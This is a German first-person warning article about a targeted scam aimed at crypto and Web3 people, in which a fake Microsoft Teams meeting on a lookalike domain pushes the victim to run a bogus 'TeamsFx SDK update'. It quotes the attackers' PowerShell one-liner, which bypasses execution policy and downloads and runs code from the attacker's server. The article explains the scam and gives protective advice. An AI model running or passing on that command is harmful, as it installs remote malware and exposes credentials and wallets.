Ich wurde fast bei einem Microsoft-Teams-Anruf gehackt – So funktioniert der Betrug

Lassen Sie mich erzählen, wie ich nur wenige Schritte davon entfernt war, Opfer eines ausgeklügelten Social-Engineering-Angriffs zu werden, der darauf abzielte, etwas so Alltägliches und scheinbar Harmloses wie einen Microsoft-Teams-Anruf heute früh auszunutzen. 

Für den Großteil der Interaktion schien alles ganz normal zu sein. 

Jemand, von dem ich dachte, er sei ein Branchenkontakt, kontaktierte mich, um ein Meeting auf Microsoft Teams zu vereinbaren, und mein williger Kooperationswille ließ mich nur zu gerne an dem Anruf teilnehmen. 

Spoiler-Alarm: Die Person am anderen Ende war ein Hochstapler, und sie versuchte, mich dazu zu bringen, schädlichen Code auf meinem Computer auszuführen. 

Ich erzähle die gesamte Erfahrung hier als Warnung für Freunde, Bekannte und Zeitgenossen in der Krypto- und Web3-Community. 

Es war heute fast ich; morgen könnte es jemand anderes sein. 

Schritt 1: Das Setup – „Lass uns treffen, alter Freund” 

Wenn Sie eine Nachricht vom Telegramm-Konto einer Person erhalten, die Sie als Top-Mitarbeiter einer bekannten Krypto-PR-Agentur kennen, ist das Letzte, woran Sie denken, dass Sie in eine Phishing-Falle tappen. 

Keine der typischen Warnsignale war sofort offensichtlich. 

Dies war kein zufälliger Direktnachricht. 

Ich sprach nicht mit einem Hochstapler-Account, bei dem das „i” subtil durch ein „l” ersetzt ist. 

Ich hatte tatsächlich auch einen Chatverlauf mit dem Konto, also dachte ich, ich hätte die echte Person am anderen Ende. 

Von dem Moment an, als sie ein völlig freundliches Gespräch zur Wiederherstellung des Kontakts begannen, bis hin zu einem Calendly-Link zur Buchung eines 30-minütigen Meetings und einer Einladung zu einem Microsoft-Teams-Anruf, schien alles an seinem Platz zu sein.

Wie ich bereits sagte, ging mein Radar während der gesamten Interaktion nicht einmal an. Ich spürte die gleiche Professionalität und Geduld, die man von einem hochrangigen Mitarbeiter einer Top-PR-Agentur erwarten würde. 

Alles, was ich wusste, war, dass ich ein Teams-Meeting von der Calendly-Seite eines Branchenkontakts gebucht hatte.

Der Betrüger initiiert den Kontakt über ein gehacktes Konto und sendet einen Teams-Meeting-Link.

Schritt 2: Die „Nur auf Desktop beitreten”-Falle 

Am Tag des Meetings klickte ich auf meinem Telefon auf den Teams-Meeting-Link, wie ich es in der Vergangenheit mindestens tausend Mal getan habe. Allerdings wurde ich nicht wie üblich direkt ins Meeting geleitet. Statt in den Anruf weitergeleitet zu werden, wurde ein Bildschirm geladen, der behauptete: „Der Zugriff auf dieses Meeting über mobile Geräte ist aufgrund der Organizer-Einstellungen nicht gestattet.” 

„Oh je! Das ist mir noch nie passiert.” 

Nun, es war auch kein Unfall. 

Im Nachhinein war das wahrscheinlich die erste echte Warnung. 

Der Fehlerbildschirm ist Teil des Designs. Die Betrüger wollen, dass Sie auf einem Desktop oder Laptop sind, da ihr schädliches Payload ein Befehlszeilenskript ist, das nur auf PCs ausgeführt wird.

Die URL im Browser „teams.livescalls.com” ist NICHT die echte Microsoft-Domain.

Legitime Teams-Meetings verwenden teams.microsoft.com oder teams.live.com.

Die Domain „livescalls.com” sieht von weitem der echten genug ähnlich, aber wenn man genau hinsieht, ist sie weit von der Realität entfernt. 

Das eine ist die von Microsoft kontrollierte Site, die behauptet, über 320 Millionen tägliche aktive Nutzer zu haben. Das andere ist eine völlig gefälschte Site, die von den Angreifern kontrolliert wird. 

Um fair zu sein, verwenden einige Organisationen möglicherweise benutzerdefinierte Domains für ihre Team-Meetings. Allerdings waren die über 1 Billion US-Dollar, die 2025 laut Weltwirtschaftsforum an Betrüger verloren gingen, ein ausreichender Grund, um meine Spinnenfühlern nicht zu ignorieren. 

Die gefälschte Seite „Team Access Notice” blockiert den mobilen Zugriff und zwingt Opfer dazu, einen Desktop zu verwenden, auf dem das schädliche Skript ausgeführt werden kann. Beachten Sie die URL: teams.livescalls.com – keine Microsoft-Domain.

Der Betrüger drängt das Opfer nach dem mobilen Block dazu, sich über den Desktop beizutreten, und behauptet, „Partner warten”.

Schritt 3: Das Payload – „Aktualisieren Sie Ihr TeamsFx SDK”

Sobald man auf dem Desktop war, zeigte das gefälschte Teams-Meeting eine professionell gestaltete Seite, die wie etwas aussieht, das man in offiziellen Microsoft-Dokumentationen sehen würde. Sie enthielt sogar echte Microsoft-Sprache darüber, dass das TeamsFx SDK bis September 2025 eingestellt wird. 

Die Lösung? Kopieren Sie einen Codeblock und führen Sie ihn in Ihrem Terminal oder der Eingabeaufforderung aus.

Wenn Sie den zusätzlichen Schritt einer Google-Suche unternommen hätten, würden Sie feststellen, dass ein ähnliches SDK tatsächlich existiert. Sie benötigen es jedoch nicht für dieses Teams-Meeting. 

Der Code sieht zunächst harmlos aus – er legt Umgebungsvariablen mit offiziell klingenden Namen wie TeamsFx_API_KEY und MS_Teams_API_SECRET fest. Der eigentliche Angriffsvektor ist jedoch irgendwo in der Mitte versteckt, und diese Angreifer rechnen nicht damit, dass Sie das Problem erkennen:

powershell -ep bypass -c „(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

Diese einzelne Zeile umgeht die PowerShell-Sicherheitsrichtlinien (-ep bypass), lädt Code vom Server des Angreifers herunter und führt ihn sofort aus (iex = Invoke-Expression). 

Und so wird genau das, was Malware, Keylogger oder Remote-Access-Tools die Angreifer gehostet haben, still auf Ihrem Gerät installiert.

Die gefälschte Teams-Meeting-Schnittstelle zeigt die schädliche Seite „TeamsFx SDK update”, die den Teilnehmern präsentiert wird. Beachten Sie die Teilnehmer im Anruf – KI-generierte Videos.

Schritt 4: Die Druckphase „Keine Sorge, es ist sicher”

Als ich Zögern zeigte, den Skript auszuführen, lieferte der Hochstapler sofort eine Kombination aus Beruhigung und Druck. 

Die Zeile „Keine Sorge, es ist sehr einfach und sicher für Sie” sollte mich dazu bringen, den Anweisungen auf dem Screenshot zu folgen, der mir zeigte, wie ich die Eingabeaufforderung auf meinem PC öffne. 

„Partner sind bereits in Zoom beigetreten” sollte mir den Druck geben, nicht alle dazu zu zwingen, die Plattform zu wechseln, nur weil ich nicht herausfinden konnte, wie man eine einfache Eingabeaufforderung ausführt.

Ich war nicht beruhigt. Ich war auch nicht unter Druck gesetzt.

Als ich vorschlug, den Anruf zu Google Meet zu verlegen, weigerten sie sich. Offenbar funktioniert ihr Betrug nur über ihr gefälschtes Teams-Setup.

Der Betrüger sendet Schritt-für-Schritt-Anweisungen, um den schädlichen Code auszuführen, und beruhigt das Opfer: „Keine Sorge, es ist sehr einfach und sicher für Sie.”

Schritt 5: Bluff durchschaut – Blockiert und gelöscht

Ich bestätigte meine Verdachtsmomente, nachdem ich das Skript und die Domain überprüft hatte: Ich wurde sozial manipuliert und war nur wenige Schritte davon entfernt, Teil der Statistiken des Weltwirtschaftsforums 2026 zu werden. 

Ich sagte dem Betrüger direkt: „Ich habe gerade überprüft, und dieser Befehl und die Website dort sind nicht legitim. Leider werde ich das nicht tun können.” Ich bot an, das Gespräch auf Google Meet fortzusetzen, wenn sie noch plaudern wollten.

„Aber das Meeting läuft jetzt”, war die Nachricht vom anderen Ende. 

Wie erwartet, war ihre Antwort darauf ausgelegt, mir die Dringlichkeit des Beitritts zum Anruf bewusst zu machen. Schließlich wollte ich nicht, dass all diese Partner zu lange warten.

Wenige Minuten später löschten sie unsere gesamte Korrespondenz und blockierten mich. 

Ah… Das ist nicht nur eine Warnung. Sprechen wir von Karmesinrot. 

Geschäftskontakte löschen nicht ihre gesamte Gesprächsverlauf und blockieren Sie, sobald Sie ein Software-Update in Frage stellen.

Nachdem der Betrug durchschaut wurde, besteht der Angreifer darauf, dass das Meeting „jetzt läuft”, bevor er alle Nachrichten löscht und das Opfer blockiert.

Wie Sie sich schützen können

Diese Art von Angriffen nimmt in der Krypto-, Web3- und Tech-Branche zu. Betrüger kompromittieren oder imitieren echte Konten von PR-Profis, Investoren und Projektverantwortlichen, um hochrangige Personen zu zielen. So bleiben Sie sicher:

• Führen Sie niemals Befehle von einer Meeting-Seite aus. Keine legitime Videokonferenzplattform wird Sie jemals bitten, Code in Ihr Terminal oder die Eingabeaufforderung einzufügen.
• Überprüfen Sie die URL. Echte Microsoft-Teams-Meetings finden auf teams.microsoft.com oder teams.live.com statt – nicht auf „teams.livescalls.com” oder anderen ähnlichen Domains.
• Seien Sie misstrauisch gegenüber „Nur Desktop”-Anforderungen. Wenn ein Meeting den mobilen Zugriff blockiert, ist dies eine gezielte Taktik, um Sie auf einem Gerät zu platzieren, auf dem Skripte ausgeführt werden können.
• Überprüfen Sie die Person über einen separaten Kanal. Wenn ein bekannter Kontakt Ihnen einen ungewöhnlichen Meeting-Link sendet, rufen Sie ihn direkt an oder schreiben Sie ihm über eine andere Plattform, um dies zu bestätigen.
• Achten Sie auf „powershell -ep bypass” und „iex”. Dies sind die beiden größten Warnsignale in jedem Skript. Das erste deaktiviert die Sicherheit, das zweite führt heruntergeladenen Code blind aus.
• Wenn Sie das Skript bereits ausgeführt haben: Trennen Sie sich sofort vom Internet. Führen Sie einen vollständigen Malware-Scan durch (Malwarebytes, Windows Defender Offline). Ändern Sie alle Passwörter von einem anderen, sauberen Gerät aus. Überwachen Sie Krypto-Wallets und Bankkonten auf unbefugte Transaktionen.

Warum das für Krypto und Web3 wichtig ist

Ich würde dies nicht als typische Phishing-Interaktion bezeichnen, bei der Angreifer weite Netze werfen und sehen, was sie einfangen. 

Nein, dies war eine gezielte, mehrtägige Social-Engineering-Operation. Die Angreifer gaben Tage lang die Rolle von Branchenkollegen, bauten Vertrauen auf und legten den Grundstein, um Sie beiläufig dazu zu führen, ein technisches Problem bei einem Teams-Meeting über eine überzeugende gefälschte Microsoft-Seite zu beheben. 

Egal, ob sie Ihre Anmeldedaten stehlen, Ihre Krypto-Wallet leeren oder persistente Remote-Access-Malware installieren – die Angreifer haben alles zu gewinnen und nichts zu verlieren. 

Wenn Sie ein Gründer, Investor oder jemand sind, der Meetings im Krypto- und Tech-Bereich führt, teilen Sie diesen Artikel mit Ihrem Team. Die Personen, die diese Betrugsfälle durchführen, werden besser, und die einzige Verteidigung ist Bewusstsein.